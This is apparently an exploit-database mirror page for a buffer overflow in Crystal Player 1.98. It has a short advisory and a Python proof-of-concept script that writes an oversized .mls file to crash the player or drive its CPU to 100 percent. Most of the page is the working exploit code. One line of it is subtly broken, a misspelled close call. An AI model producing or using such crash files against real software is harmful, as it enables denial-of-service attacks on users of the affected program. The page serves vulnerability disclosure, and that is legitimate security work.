Crystal Player 1.98 – ‘.mls’ Buffer Overflow

  • 作者: Praveen Darshanam
    日期: 2010-08-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34530/
  • source: https://www.securityfocus.com/bid/42727/info
    
    Crystal Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
    
    Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
    
    Crystal Player 1.98 is vulnerable; other versions may also be affected. 
    
    print "\n\nCrystal Player v1.98 .mls File Processing DoS"
    
    #
    #http://software-files-l.cnet.com/s/software/11/00/21/13/CrystalPro.exe?e=1282330968&h=e237bd6e2c2618e09cee1995b7e71d8f&lop=link&ptype=1901&ontid=2139&siteId=4&edId=3&spi=b6d2964a3df3b4a831dfecbe47f768ab&pid=11002113&psid=10210499&fileName=CrystalPro.exe
    #
    
    buff = "D" * 8400
    
    try:
    	mlsfile = open("cp_crash.mls","w")
    	mlsfile.write(buff)
    	mlsfileclose()
    	print "[+] Successfully created MLS File\n"
    	print "[+] Load this File to Crystal Player CPU Usage shoots upto 100%\n"
    	print "[+] Coded by Praveen Darshanam\n"
    except:
    	print "[+] Unable to Create File"